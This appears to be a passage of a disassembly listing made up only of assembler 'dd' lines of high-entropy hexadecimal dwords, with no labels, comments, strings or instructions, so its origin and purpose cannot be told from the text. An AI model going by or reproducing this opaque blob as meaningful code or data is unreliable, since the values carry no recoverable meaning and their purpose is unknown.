		dd 8F98F701h, 0F4BDC4B8h, 4FC152F3h, 0E7DFC219h, 0D334A64Fh
		dd 0DFB2B012h, 52DF10E2h, 0FC6F84E2h, 4B2D0019h, 0F30F861h
		dd 43AD3180h, 1322CFDh,	2030EBC1h, 51A22D8Bh, 0E93E2B6Eh
		dd 9F3362F6h, 9C18DD75h, 0BD8091E1h, 846913DAh,	1FA41255h
		dd 0A6A65E5h, 6BE289A0h, 2B9C59C3h, 0C14F3C5h, 0E8962DB1h
		dd 2F876152h, 32FC5A4Fh, 6805498Ch, 0F6CC3D86h,	0E6CB086Eh
		dd 27F85309h, 0A73FC595h, 0B04B4D77h, 2DAC6888h, 5F0021B3h
		dd 0E92A4817h, 0BD1F704Eh, 974FEAF3h, 0DF011281h, 97A43ADCh
		dd 83E2CE4Bh, 0F791FD09h, 0F7AC243Fh, 843AD978h, 0E5B24E1Bh
		dd 0AF488584h, 0B32AA2C9h, 61ABDAD0h, 8AF4F507h, 0AD40B561h
		dd 846253E9h, 7169279Dh, 0BE0F0058h, 6A968C8h, 78626B9Ch
		dd 0C1C11B2Dh, 0EE72A27h, 267010h, 28532DADh, 49685C8Ch
		dd 9D945A81h, 5795CB20h, 0E5DFF88Bh, 64554937h,	0AA0A5F2Dh
		dd 0F8EF2C24h, 0B2BFB44Eh, 0B06592CDh, 2D9B8ABBh, 706EDE56h
		dd 2F559268h, 541EA595h, 155D72B5h, 0F18BA757h,	1D502704h
		dd 6AC2A552h, 8ADD410Fh, 96CA3F82h, 82F56E77h, 0F469EF9h
		dd 125BE2E6h, 77781625h, 0BDB5EA33h, 6AD02DB4h,	2D81F0CEh
		dd 0EF14C52h, 68552C89h, 75490354h, 0A8215A1Ch,	0EA7C10E5h
		dd 0F054AA5Eh, 82471751h, 0B09A8BDh, 34DCAA6Ah,	0C0BE5D12h
		dd 0F1E902DDh, 0A26C529Fh, 19607F72h, 23211C84h, 9808206Eh
		dd 90695B0Fh, 0CC54B59Eh, 0BC2E9CB8h, 568B6EDEh, 9DB7715Fh
		dd 1EF0A47h, 6D0303AEh,	0E7B06A27h, 4E2C6CB1h, 1513B76Fh
		dd 0C9DE84A9h, 0A620DB4Ah, 0DE6D05D8h, 893B4209h, 47405CC1h
		dd 810BD466h, 7EC68FE3h, 0DF873EF2h, 835B9553h,	2008D09Dh
		dd 0BD01685Ah, 0AB34E092h, 0C2812620h, 765C049Eh, 0B8EA0112h
		dd 5D20644Bh, 0ACC68BAh, 0DC2D02B4h, 5D5C59B7h,	0FAC22E1Ch
		dd 246AE487h, 0C2D7287Dh, 0FF09F991h, 99EBC730h, 621559B7h
		dd 0B4019BCDh, 706A59C0h, 363CE9B7h, 89387BB5h,	3C9578Ah
		dd 4A0128BFh, 6034C9FAh, 0EBFC51C4h, 0A567985Eh, 46900FA5h
		dd 2EADCA2Dh, 0A73BDD5Dh, 0CE035452h, 30317FB9h, 0BA53E5E9h
		dd 7F66DDEFh, 778061BDh, 0E97B5E1Dh, 7C02E22h, 30F5F380h
		dd 3326B3DDh, 0DBE02C4Bh, 0F77240AAh, 46DD348h,	0CE62EF1h
		dd 0C52F63F1h, 53C38048h, 80B58C1Bh, 0F03B8634h, 0E1FCF96Bh
		dd 6D232F6Eh, 69DC9FE0h, 97ACA983h, 58E0F00h, 0F68FA0B5h
		dd 7C251592h, 0DE8D174Ch, 0FC7A251Bh, 47BC24E6h, 5A52899Eh
		dd 0C1C125B7h, 232D06E0h, 65CA1042h, 0C42051Dh,	23A46792h
		dd 0D8D7302h, 0E8B7B3E9h, 3657B937h, 0E87C63CCh, 0F505E625h
		dd 7D8302EAh, 16F04D24h, 509ABAE9h, 0E0F10124h,	0F3766403h
		dd 0FF0C4E5Fh, 0E671FE45h, 0B3C986F8h, 0C2B94261h, 2BE75082h
		dd 246F9D7Eh, 0CCEAA933h, 201454DFh, 4E57EF4h, 99636BCh
		dd 23CC14EAh, 0CA76E216h, 6C482511h, 9D539887h,	5390B409h
		dd 22C02A1Dh, 667646BDh, 0E8313E7Bh, 0C8C28D2Dh, 0F83F6CDDh
		dd 0E45B5EAEh, 66B715BCh, 0B5D4FC2Fh, 0F73D36DAh, 12E513C4h
		dd 209FD0EAh, 2F5EE438h, 4C80EF85h, 4C642CB0h, 0A111EF60h
		dd 3F20284h, 5F17654Bh,	184DFF86h, 54913413h, 4070E4D8h
		dd 0EF0CB758h, 192AAB68h, 0E2785E08h, 2EE5D4CEh, 0FF4B27DAh
		dd 0A0BB2625h, 2826E932h, 0A140FDD2h, 0F662F07Ah, 0CC164E0Bh
		dd 644196D1h, 39A1B43Dh, 498D2EC1h, 9485FEE4h, 0B25DE940h
		dd 68E67F32h, 0A2F73127h, 482113Eh, 0DE19058h, 12F3C6Dh
		dd 50F4DEF0h, 0F75EABE9h, 70DD07E4h, 405CBF03h,	17EF659h
		dd 70680D31h, 0CEF3285Ah, 0EBDB938Bh, 4FC0A47Eh, 4F3DF24Bh
		dd 3EA246ABh, 0C01E1676h, 0AF0B03EAh, 2BCF90E5h, 6FA02406h
		dd 75E201A3h, 61475F91h, 2EA665CAh, 17205DE1h, 9391974Ch
		dd 7FFD3852h, 4A75503Bh, 3E90CBF2h, 0CAB7710h, 6D53166h
		dd 0D260EDEAh, 0B22D4FFEh, 0C32884C5h, 0E3849F81h, 0E051DB2Dh
		dd 0C5D2E82Bh, 31A9035Dh, 4E22E982h, 7A5D9CCAh,	0C4E24B5Ah
		dd 0F5E7EF89h, 0F86CD217h, 3D099E85h, 543A22CFh, 0D680097Ah
		dd 2FA85694h, 19C57C92h, 0D0127FE9h, 0C498F2BBh, 82903568h
		dd 973FDBE9h, 5415917Dh, 0BD98EEE8h, 0A0480D51h, 0AD6657C9h
		dd 26C539Dh, 3F580A39h,	21671E1h, 82885D28h, 22F10D1h
		dd 5AE5E0BDh, 0D55042AEh, 0D1494BC4h, 7C3109B4h, 2B511924h
		dd 284AF37Ch, 185BFFB3h, 0EDEB39D0h, 1E832F3Ah,	809964Ah
		dd 68C0F1F4h, 4B6B4BAAh, 0E95FF011h, 0C6FB982Fh, 0DB12201Bh
		dd 836870C2h, 5AC45E3Dh, 2C3B8C1h, 2E93D554h, 7A627809h
		dd 8F528112h, 4B03362Ah, 52D6E3E8h, 0F72F4509h,	39248EDBh
		dd 43B5743h, 0AE8007D6h, 0B85ACDA9h, 63CB4A87h,	0F9CE2192h
		dd 0DAE87ABBh, 0AD7E6884h, 6E221272h, 938537EEh, 125B77B6h
		dd 0AA1E13BFh, 8F41B1DFh, 91686D50h, 0A4E79908h, 487E004Eh
		dd 1EB94026h, 4AEA9F04h, 684D129h, 0BF0214A8h, 5D1244ABh
		dd 4CDFD8Eh, 4C032E0Dh,	90D0B11h, 2523E912h, 3ABE856Ch
		dd 0F2EA3092h, 9EC5F2Bh, 0BFE004F5h, 860F01F6h,	3680270Eh
		dd 882AC480h, 0F7EC58E7h, 37C0672Ch, 0DAE8E904h, 26AD9F91h
		dd 0F8E48D2Fh, 0CCAA35B4h, 0D901327Fh, 43E98BA4h, 0A32D5160h
		dd 7D451F01h, 97EF820Fh, 4EE92F24h, 6E2DB166h, 0AF9211E2h
		dd 0A35A6DCEh, 0CC8AD246h, 6962FB5Ah, 0A013CA8Fh, 0AC51A186h
		dd 550CFA4Dh, 20F7FA47h, 88279C0Eh, 0ACC47DDAh,	0A852159Dh
		dd 858ADA07h, 62DFC342h, 57EE0124h, 0ECCE883Ch,	0A8E91706h
		dd 0E388EA61h, 0E748B7C0h, 2F26333Eh, 20E2CE15h, 92737199h
		dd 1739A9B8h, 58DD8F7h,	583F20h, 0FB53AE05h, 902EE936h
		dd 5BB86CC0h, 0D20F9255h, 0B271534h, 160CAB4Bh,	0B5FB0FA9h
		dd 6B9FBA50h, 0D44AF18Eh, 0C5D562Fh, 2CBD3BAEh,	56387CB5h
		dd 3172E918h, 1D665310h, 246745BBh, 81803BFEh, 0E96FD6CBh
		dd 0D5974E19h, 0A72E6E14h
		dd 0DBC9EF3Dh, 0AAC2C43Fh, 0DD6D7513h, 7C22AE2Ah, 4582A0A4h
		dd 4AAC880Fh, 5471EB79h, 0A978E99h, 0FE22AF5Bh,	0BC8B7D9Eh
		dd 0C436EB02h, 0BCC20682h, 87A37709h, 93F9F8F5h, 4CEFF820h
		dd 0FFB37EE1h, 116C09D3h, 54F51F6h, 0BB4D9F67h,	68E4E84Ch
		dd 13A29F37h, 0EE7D506Fh, 633A5988h, 0CA215A0Bh, 1B61060Eh
		dd 0D8132B45h, 2F042EF2h, 0D0090B6Fh, 0EBC225FAh, 9F1D5791h
		dd 0D234E87Ah, 5A36C40Bh, 2F8BF56Ch, 87425DEAh,	0CC370C74h
		dd 4B7F1FB1h, 7C09B67Fh, 34AF024Ah, 13A9BB68h, 0EBC47F3Dh
		dd 1D334401h, 2F106820h, 0DF127426h, 1DACF46Eh,	8FB5E00h
		dd 44396C35h, 15019F2Ah, 6F0E3068h, 127EA7CCh, 0BB327518h
		dd 0A5536B02h, 0BDB24135h, 18EFCA6Ah, 0EE1759EBh, 426403DDh
		dd 7D8D0F14h, 0D14F22A6h, 35AFFE74h, 7EB01EDh, 2B319F66h
		dd 26F01112h, 2BBE2E10h, 0C9822D2Ch, 0CC0D729h,	0EC0E7434h
		dd 0A3EF817Fh, 47D7C36h, 0AC1B6F0Ch, 2A94BB60h,	0B0C081Ah
		dd 123D3214h, 86897D06h, 64DF8BD8h, 0C9FE740Eh,	38EB7F29h
		dd 79F5F59Ah, 0C9EECB7Fh, 7C135A5Fh, 0D7DED2ACh, 0BCBB574Bh
		dd 401FC964h, 7E2BA4Fh,	8169FC6Fh, 23FA1EAh, 90E43E79h
		dd 9A924AE0h, 0E2A748DFh, 6AC9C250h, 0C51E5D3Ah, 55825EB6h
		dd 7735C268h, 1B90FB4Dh, 92F5EB40h, 0B5CB591h, 18ED79C7h
		dd 4E6CC3E8h, 2EF9F65Dh, 8087E17Eh, 0EE3367CEh,	91063C5Bh
		dd 172AC6B3h, 0D22CF081h, 0ADBDB785h, 30C5023Ah, 0FFA396E6h
		dd 0CCD1B1E1h, 1030E951h, 21C22344h, 6730023Ch,	0BB53F201h
		dd 3DA60888h, 3FF16D83h, 2C41DA29h, 0D25E6C08h,	0EAF87792h
		dd 3A1AF7DFh, 4938E261h, 2DD60FDh, 10F95B4Dh, 0BE01BA35h
		dd 50812D37h, 28A83F21h, 8862E889h, 9EBEE760h, 17D9041Fh
		dd 0F7F3B209h, 68122B94h, 0DE327E96h, 5BF37E51h, 337F3782h
		dd 0CB02D2F4h, 2275F92Fh, 0C1C5D13Bh, 85219755h, 0C404AF53h
		dd 59ECC7C6h, 4903D902h, 1E55846h, 0D05D518Bh, 433220A3h
		dd 0DF509Dh, 0AB6A3105h, 0B3532D3Eh, 749CFE2Fh,	0D9E0975h
		dd 86762848h, 0B09B3027h, 80CCFD07h, 0A113BD55h, 0AA00A310h
		dd 96706CEDh, 310CC134h, 6ADF0CA0h, 0EC88EEC4h,	85C86417h
		dd 0F98881E7h, 42EB0550h, 594468EDh, 852C1875h,	8732CCFDh
		dd 0BF41F5C4h, 0AF6CD52Fh, 0B62773F1h, 54024C7Eh, 1B1D83B5h
		dd 7EEEDB03h, 42E500Fh,	0DD74430Ch, 72F4BE51h, 5E1DA283h
		dd 78051178h, 201921C5h, 0AEF5E5ACh, 256EF808h,	2973FDF0h
		dd 6800567Ch, 5D02387Fh, 1740D58h, 0F1EB913h, 3F6A4181h
		dd 405484Bh, 0B50E6069h, 0FFDC57CBh, 57D28B59h,	0E9259396h
		dd 5D824059h, 0CAC25829h, 9CFDCB27h, 8E1B951h, 5B3B12CCh
		dd 3384B5B8h, 0EE411221h, 13C37E99h, 12DAAC30h,	14EE866h
		dd 0D454E501h, 89F1601Eh, 0CA2D0B13h, 43D9208h,	0FA5BF888h
		dd 93F580B5h, 88EE54D2h, 591F49CCh, 5A024D0Bh, 7ECAA07Bh
		dd 800F80C7h, 2A297827h, 36135193h, 7475D122h, 0A7E253Ah
		dd 2CE91254h, 0F31F4E44h, 0C770C1EBh, 65BC0EB7h, 0FE817520h
		dd 0A36AADFEh, 0E68C271h, 0E5C49B44h, 209FB904h, 0CFFE5C00h
		dd 544B7868h, 0E6B68230h, 0E9F11688h, 0B94CF097h, 22031614h
		dd 0FECA31D2h, 0E3A858FCh, 572D2039h, 17DA2503h, 0D0407FD6h
		dd 7F73554Dh, 5723093Ah, 0F8F83D4Ch, 5B9FCFE6h,	0FCCA1277h
		dd 2BFE4FC0h, 0D9A35EEDh, 25FC68C2h, 69CCB754h,	0A64A55E9h
		dd 68CB7Bh, 30EFB450h, 5BE958E1h, 0D052B842h, 9A553DE1h
		dd 77402722h, 8472ED5Ch, 0CD82CA2Dh, 0E9B4E020h, 48D8AADCh
		dd 8082A953h, 0DB3A6866h, 0F589274Dh, 5C986D18h, 5EF763C0h
		dd 542BFA0Eh, 5A93B097h, 7E40F3B5h, 0F58A2D5Bh,	8E055816h
		dd 5AD015B3h, 0B7E90995h, 9F0AF6CDh, 93FB27CBh,	0CB3DCAACh
		dd 0BCB9B8Ch, 5845D828h, 2E202AFAh, 0FAF94C4h, 6FA0624Eh
		dd 83C58C0Fh, 5EEFE980h, 8885F664h, 460F0C2Ch, 345FD12Fh
		dd 129FBBE2h, 1D6F5C44h, 0C053D3C5h, 72866804h,	5BF34DB9h
		dd 1798FC87h, 0CFB5418Eh, 97FB58E2h, 0F1024C53h, 429E0620h
		dd 54FA4256h, 5E845B21h, 971CD02Dh, 0E04AF612h,	8DFA2A1Bh
		dd 732F8FDCh, 4C94BE8Bh, 29FFDDDh, 99E340Bh, 0C9D968FDh
		dd 7A513F20h, 7437F686h, 0EE06A2E1h, 0BECEE8FBh, 4A8B09ECh
		dd 15A31969h, 9B600210h, 53F6EB45h, 0C2714B2Eh,	885C344h
		dd 0E98F605Eh, 6EBF0A47h, 51A79CAFh, 0AC2F2050h, 29051073h
		dd 0BC331BB8h, 56091C85h, 0F24E10E8h, 2268125Eh, 72F18C0Fh
		dd 2EFF5EB8h, 0D629C581h, 5F20E66Bh, 0DF125ACh,	4B5221Dh
		dd 653369DEh, 6386C180h, 3F92BC7Bh, 2A6CF00Bh, 0AA283E54h
		dd 77EEB345h, 590D0D79h, 0BF449C5Fh, 88D6FAF8h,	0F8925FF2h
		dd 0C3CF665Bh, 27C06809h, 7B207966h, 20239049h,	59974C6Bh
		dd 0CE571ED9h, 0FE128AD0h, 9B43D2CDh, 7C19FE4Ch, 1702F2EDh
		dd 0E6E9010Ah, 3BFF784Fh, 0DADF4312h, 0AFE81A2Eh, 0C7E9A2F6h
		dd 8FE98BB9h, 0C3976E7Ch, 0D5E4EC09h, 89F9F9ECh, 575420D8h
		dd 0B1A0C90h, 7F75B424h, 0FCBCD713h, 5997A64Ah,	0CE98275h
		dd 0D1675D31h, 1851263Fh, 782C6884h, 0C15D37AEh, 2E133A43h
		dd 69F7AF2Ch, 425D1F60h, 13D07713h, 0A5E925h, 0E268524Ah
		dd 176C1602h, 0AB5005Ah, 0F796520h, 0EA3B822Eh,	8741E0A7h
		dd 8AE24075h, 895AE00Bh, 0DC65DF8h, 381B24h, 0D6516389h
		dd 45A0566Eh, 0B880FABEh, 236F1214h, 7A2026Ah, 0B8FE4B3Dh
		dd 27657708h, 0B7F8185Fh, 0FF16D623h, 0FC14498Eh, 3D7E2C41h
		dd 0C9126B7Dh, 5FADB633h, 0C64432EBh, 0D09C3A9h, 0BC11D12h
		dd 819A7879h, 447C2E2Dh, 0B0EBAC7Bh, 761B6B39h,	0C6329D0Fh
		dd 0D3B77872h, 0F452CB0Fh, 73E4819Dh, 0C8528F4h, 0C12D4388h
		dd 3F301793h, 2F70A5D7h, 0B77DCD3Fh, 8815172h, 2C78F952h
		dd 0B1510185h, 0A3E180B0h, 1760C1CDh, 445BC95h,	0FF405F5Ah
		dd 5FAC4012h, 4FB90E9Eh, 0C99EBF16h, 7FF5E909h,	41932068h
		dd 0E06AE027h, 4FC145F6h, 0E2CB80EDh, 95151FBh,	56F86BABh
		dd 9D02C24Ah, 0E649C8A6h, 27137601h, 4D8E0F30h,	0E9125D6Ch
		dd 4F51E864h, 0AA4AB4E8h, 9F1D993Ch, 6D25EAF2h,	0BF507978h
		dd 5D408912h, 127D8EAFh, 33A3AF13h, 34502889h, 4203539Dh
		dd 0A7CCB951h, 1077A0Bh, 1028DD3Bh, 947F2F08h, 0BF570465h
		dd 90D412CEh, 9B2611D1h, 0EF031676h, 25FE1F8Bh,	771EAAE9h
		dd 8429A4A2h, 951CCEDDh, 12749CD5h, 0AA72A3E9h,	702C2DB4h
		dd 4EC48421h, 0B803A9EEh, 3F800D71h, 701E8C1h, 4191BE56h
		dd 288E1EB3h, 0BE133AC7h, 3DD679A7h, 273F4126h,	823E577Dh
		dd 1C42D23h, 746DD025h,	0F0DF7235h, 11430BBAh, 935E16FBh
		dd 0E662756Bh, 38FC98DFh, 0C3DBA0C1h, 0A240831Ah, 6F2678B2h
		dd 8B397CC7h, 82E20963h, 0FD8859EAh, 28D161A0h,	4B1A0F15h
		dd 7507D3F7h, 7097563h,	56B0D8E9h, 522762CCh, 4E1CBC0Ah
		dd 1AB2617h, 0FE8A9D75h, 0F0EB148Bh, 48B2D5CEh,	9B305E76h
		dd 0F473AD8h, 37CA2F8Fh, 8568636Ah, 544EA668h, 0CD2C7021h
		dd 49E9F774h, 5C2C842Dh, 0FC303C9h, 68B1C0B7h, 5E6720B2h
		dd 0BA016CBEh, 1E136ABDh, 0B54E1A20h, 0F0904896h, 180A267Ah
		dd 95DA015Fh, 0E91F050Eh, 0B204FD2Fh, 0DDE5804Fh, 42072422h
		dd 6E94CD81h, 0F587067Fh, 52E43870h, 0C7EEE95Eh, 0DF095FACh
		dd 1A24F6DBh, 0C55475C0h
		dd 442CC976h, 972D99DDh, 0E321133Bh, 8AB392D0h,	0B1A4E9C5h
		dd 81563EB6h, 48484EBh,	0A42F70BFh, 4F39C2C3h, 0C338AE20h
		dd 7424468Bh, 0AF54E43Eh, 6809F4BDh, 5AF93893h,	6064D380h
		dd 5EDCE929h, 9459B842h, 0FAC40380h, 0C268845Dh, 0FAE7EC2Ch
		dd 297A2F2Ah, 2DD8E8C8h, 7B750AA2h, 0EF5E0DE1h,	0B9856058h
		dd 0FD975D76h, 6F27481Ch, 8C859A76h, 1CB71043h,	5628B004h
		dd 0F1AB04F8h, 67614F9h, 171B31C7h, 810802B6h, 0CE0F0DCBh
		dd 6E563FDh, 0AD2B0EC6h, 5D95A6D3h, 31BD9B20h, 76B06A34h
		dd 0D30F530h, 0C0A1F4E9h, 2BE83520h, 0BB71C7Eh,	2F00F722h
		dd 0EBD3CE16h, 7D25A4BCh, 534FFD94h, 0E99898AAh, 0F17E85Ah
		dd 0D6C403FDh, 0BE0C1618h, 170F0DD0h, 0CAF3EB8Dh, 18C04A15h
		dd 301FD0B9h, 17902CA7h, 6E482735h, 41060F43h, 0D8E8D7F0h
		dd 621916h, 5698F1B6h, 0DF92AB23h, 0EFD14703h, 170D8068h
		dd 0EE4B639Fh, 0CC4EFB8Bh, 7A25E934h, 40BEB47Bh, 492D6883h
		dd 526ADC45h, 7A8D154h,	0B00C9D3h, 531910AFh, 0C7429D29h
		dd 0C8D6080Bh, 0BA7C7107h, 0A39768FBh, 0E3CBBF0Ah, 263225B9h
		dd 1BD10449h, 0C7EA656Ch, 0C39FB2B1h, 9561BCFFh, 1015652h
		dd 0E9D918DCh, 38348534h, 2B6216CDh, 9D88A82Ch,	69E68944h
		dd 2B6ECBFh, 33F3B7EBh,	0AE3B10C0h, 16ABDD95h, 0D7DCE1B0h
		dd 745EC092h, 79C81291h, 0CBC2219Dh, 0C1264873h, 0CF586C89h
		dd 3D3E2669h, 95966863h, 6AC440ACh, 0C4D6E808h,	86C80C32h
		dd 1E05E250h, 39C2292Bh, 2B680850h, 9D7346h, 36F423D8h
		dd 7794FA01h, 0AAA08596h, 0C75295BBh, 0DC7E0798h, 0F7433A00h
		dd 66DE35D8h, 0E9260922h, 62A26BB1h, 0AB772DE8h, 0CCC6D582h
		dd 370765BDh, 0FD828B6Dh, 0B6E4FB90h, 80666B0Bh, 56CA6273h
		dd 0BD13A03h, 0FBE0C82h, 535104D6h, 0D0B0E942h,	0F7EF972Ah
		dd 0F42DC42Bh, 0CEC2605h, 0EF3D286Bh, 3D052739h, 0C2FDAF08h
		dd 0BAD1C34Eh, 31206874h, 0BE584BC5h, 0B488E480h, 4C9095F1h
		dd 0E980D91Ah, 0E6524A54h, 799B1404h, 64658459h, 68A470BFh
		dd 339C6C4Eh, 67908463h, 9287BC49h, 0E37416B7h,	0D006ABADh
		dd 9F1FFCF9h, 49C48148h, 121C643Eh, 0CDA4E5A5h,	224800F9h
		dd 78E7053Ah, 0E92535EFh, 0ECAD6212h, 0D5C70502h, 14C8234h
		dd 0B02D7A8Bh, 0A0263119h, 54C0081Ch, 77DE3CFAh, 376C0335h
		dd 7E0D40F9h, 3F464391h, 5542511Fh, 0D79541CBh,	2F596861h
		dd 5FBA60EEh, 7C59D468h, 81488403h, 14AC5898h, 0F607B064h
		dd 0BB565527h, 19780259h, 6B21358Bh, 6B5BDE29h,	7BC2F0C1h
		dd 4A5B7DC2h, 0D0EF880Bh, 0C05914CEh, 0AC10FEE4h, 7A5D24A9h
		dd 0B4C10534h, 0BB0557B6h, 97AEC694h, 0A12BD56Bh, 3AFAD533h
		dd 9FB5117h, 0F2D5253Dh, 49C50969h, 6E120186h, 5BF20809h
		dd 5F924534h, 3AE0E805h, 6FF7CC20h, 0F950C5BEh,	852F4BAh
		dd 592011B0h, 54585846h, 86F1682Dh, 0EBF414B7h,	0EC8AF12h
		dd 93B0A155h, 87E18A7h,	0A95E3F42h, 0E672DDA7h,	87BA4B4Ah
		dd 0FA6851DAh, 4622326h, 0ADE961B1h, 0EFF712BAh, 0E912F39Ah
		dd 5F5406Fh, 5C895B45h,	7831FBAh, 9AF4AFE5h, 3C9BBC9Fh
		dd 809D0EF4h, 0C46E8ECCh, 0E9E528C1h, 5FF23468h, 0D490F1B8h
		dd 0B612C773h, 0E0FF38F8h, 0A65F2247h, 0F38C54BBh, 1DB54010h
		dd 64CB515Dh, 0E1D1A050h, 96557268h, 0A565C869h, 201A9655h
		dd 0BA90209Eh, 117C99Dh, 50FA66DAh, 0A157A058h,	0B6C3F19Eh
		dd 2EE9EA10h, 44B9308Ah, 36470104h, 0F2F94EF7h,	96859A7h
		dd 395E5605h, 0A9003DACh, 0E9764661h, 1BBAE18Eh, 89658210h
		dd 9E212F7Bh, 75529BD6h, 2B6F1ED2h, 0EE8180F5h,	12574741h
		dd 10FE0111h, 0C64808A5h, 240F705h, 80AC52h, 0DC58145h
		dd 9057C26Eh, 0E7D29748h, 0E9CE010Bh, 258C609h,	0D6505EB8h
		dd 6441296Bh, 78802EB3h, 950F1268h, 59A19F18h, 28025582h
		dd 23A4E882h, 4DF9BB54h, 3EE3FBB5h, 0FB5E9F49h,	0CC3A5C29h
		dd 0F126F69Eh, 0CC12FC66h, 61BB9585h, 742CE407h, 5271D04h
		dd 25D5620h, 9FE3991Bh,	0ECE901E0h, 2EA4654Fh, 163792DFh
		dd 80EE215Bh, 0C1599EDFh, 0DE011725h, 0E904B1A7h, 80146411h
		dd 8984CD39h, 0FD5085F5h, 1A5A7016h, 63080D0Bh,	720F926Bh
		dd 3A5125F4h, 5E50C0C6h, 2F039FD7h, 0E9813423h,	0B241CB7Eh
		dd 819F7829h, 1F95D08h,	88123C6Ch, 0ED7EAC6h, 80D4C0C5h
		dd 5016E3EEh, 79413CA3h, 4907EE2Bh, 7F0B0B1Ch, 0CBEC2CE6h
		dd 0A7517901h, 0EA8C0F3Dh, 433BD678h, 0E8778E8Ah, 5827097Ch
		dd 0CBC293DEh, 9CF60912h, 80D44AC7h, 0F6AB02D4h, 6434CB16h
		dd 20E02F6Ah, 66DF419Ah, 131D25B3h, 0D400C892h,	164512D8h
		dd 6B34B48h, 7578428Ch,	5E03A2B2h, 0E79039h, 21EABE56h
		dd 481769Dh, 0D2778CCEh, 0B625BF31h, 0ED3C01A1h, 570A9F72h
		dd 2996A2Eh, 3B586AF8h,	1FC7CA80h, 0D11671C9h, 0DE2141E9h
		dd 0A7741062h, 55C8F8F3h, 24896754h, 0B296530Ah, 68BA5203h
		dd 0CC460F49h, 0A153B8EFh, 0C3354C29h, 40E30730h, 0F134BB7h
		dd 24523E8Ah, 93C6C2A9h, 0CF5BC55Eh, 7C100BBEh,	0A1FC68DDh
		dd 41223256h, 0A2DF6A2Ch, 0E6DBF7BBh, 0C6892469h, 7A431F92h
		dd 0FDDD2BB2h, 93EE340h, 3A14F32Ch, 705F9B17h, 7C33E207h
		dd 188B7759h, 902641DCh, 0B335123Fh, 0CE9F480Ah, 0D7EF8389h
		dd 116BC1D9h, 0F9C07617h, 0E7810572h, 0E8E937B9h, 1B981672h
		dd 0DBC028BFh, 1ADD615Ah, 0B152AE3Bh, 0FD8AC2BFh, 266624C0h
		dd 0CB6576BFh, 507F25F0h, 24DF9449h, 0AC24FC4Eh, 2AE23203h
		dd 0E3515FCDh, 5BDFC4E7h, 0E90955A3h, 1CFDAEC7h, 69681293h
		dd 1E4FA358h, 2DEE1DFDh, 7E9E802h, 0F65C4482h, 980A7546h
		dd 507C75F9h, 4112BBAEh, 6E602524h, 0BF4BADCEh,	4A56693Ch
		dd 74E0DD55h, 53439360h, 46E55873h, 2D231A0Bh, 8D6D82Ah
		dd 5E173ED3h, 684488FBh, 0D1BE11EAh, 204E26Eh, 1EA17F27h
		dd 885F1007h, 9EC46C2h,	1A5D4B43h, 9FAA6BE4h, 0ED800294h
		dd 30D4D34h, 0E9DE2905h, 260139E7h, 2058FDBBh, 0EB30316Ch
		dd 25CB5A4Ah, 0FDAA012Fh, 400FD75Eh, 28A10783h,	0D339F07Fh
		dd 0C0D8AF5Ah, 2C19266Ch, 247456CDh, 5F0820BEh,	9C4CF58h
		dd 0DBDBEDE9h, 2E2A497h, 117E6C2Ah, 43296175h, 0E307633Ch
		dd 2C0464E7h, 0FB5E9FCCh, 91ED2FD4h, 59E5EB02h,	6AFD6C2Fh
		dd 5E08052Ch, 0A85F34A3h, 0B4384CEFh, 35045413h, 0F7D210F5h
		dd 9CC5DF7h, 8415F39Fh,	0FA92B0E9h, 0D8D2F4A6h,	0C448EC85h
		dd 5059C01Ah, 0BE401168h, 0E95541A0h, 4B006F8Bh, 0C5E6EB9h
		dd 28B4A07Bh, 0C2680408h, 0BDC678E9h, 41E739BBh, 5694CA42h
		dd 657D25AAh, 5C21A77Ch, 230EFE9h, 46E4FF5Eh, 474BE1F6h
		dd 1872D661h, 42708C6Eh, 9CE2AB5Ah, 33D6FE27h, 7DE03E13h
		dd 69482568h, 5D130545h, 0C1DBFD0Fh, 0D1F711F1h, 0D0D6F56Bh
		dd 472FC5ACh, 0F80754FCh, 0F7820FC0h, 0C2DFA0A9h, 0FBE640E7h
		dd 7D7C821Ch, 9F76E970h, 17682075h, 7572D746h, 41391305h
		dd 12DB8464h, 85F00C07h, 0DF02C12Fh, 294FED7Fh,	7D1CE1F9h
		dd 68EBD100h, 0D20AE224h, 0DC3775C0h, 6C40BD15h, 0B8005051h
		dd 368401CAh, 30C2225h,	830F2BF0h, 624A7C56h, 8DAA62BBh
		dd 80167CD0h, 0E821A4C3h, 0A3042E21h, 308B44EDh, 0D2C410BDh
		dd 0B7488215h, 52168DCEh, 65F103EBh, 0AA54133Ah, 0A94AD6CEh
		dd 0C573D59Eh, 85A65AD6h
		dd 3B179810h, 8B3D2F53h, 9DED9AAh, 94FFA3B0h, 0AAE92450h
		dd 6BF0ADABh, 3FEFC276h, 0EB4A7ECEh, 4444D324h,	0FCFA5BDAh
		dd 8FB8A595h, 16FA139Eh, 0C82805E3h, 0D9BBB42Ch, 0E1DC7754h
		dd 4234B3A1h, 57020459h, 0E2A9D4EAh, 41D44DE9h,	2DEA0916h
		dd 0D274209Ah, 89A8F617h, 45CD308h, 0CC5FB168h,	2BE1BB2Bh
		dd 0BA937DF6h, 57165652h, 0E91209EDh, 0BD5740DEh, 0DDC6672h
		dd 0AF4DB4F4h, 0B3F55B79h, 93F5E22Eh, 3FD77DFBh, 0E90CAACEh
		dd 59520EFCh, 54D969Fh,	0DA6BC3BDh, 5DA38026h, 150D592Ah
		dd 365ADDE9h, 4E28F26Bh, 13668EBEh, 2B520DE3h, 559920AFh
		dd 0F62EC4FEh, 4F0846DCh, 0D40B3C05h, 52F85FE9h, 2E7C002h
		dd 41AFF780h, 0E054FF2h, 0C369597Ah, 8C40D175h,	0D04543BEh
		dd 8B8D243Fh, 57A08088h, 8A758014h, 985C30F1h, 0FC330997h
		dd 15B7C275h, 0A66F1C11h, 43F25E9Ah, 7103E982h,	3F88755Eh
		dd 885C1747h, 4E5E5FEBh, 0DCE91C61h, 775AE37Ch,	0EDE0D20Bh
		dd 0D461746Ah, 25A3CF5h, 5A66D028h, 63EFE53h, 12D78844h
		dd 0D6730098h, 0ACDBC724h, 0CD3F5119h, 0AC3A3871h, 0DBF05A98h
		dd 3B9F9859h, 977055E9h, 0BDC2A7DCh, 43B455E1h,	97BDA97h
		dd 0C04B30D3h, 0F4310AF4h, 0D53AD610h, 421587A2h, 9852CEFh
		dd 3A08E122h, 7BAF3DABh, 0FD396AFDh, 459EA13h, 0AAA2D311h
		dd 0D0A1BCBCh, 0D61E0530h, 5E7E5D41h, 3FF1860Fh, 4AB29124h
		dd 0DAD8BF5Ch, 24F709EDh, 435A7C73h, 6C300883h,	7F685534h
		dd 86C69722h, 4E0962F2h, 7D5A163Eh, 35C0E480h, 69981236h
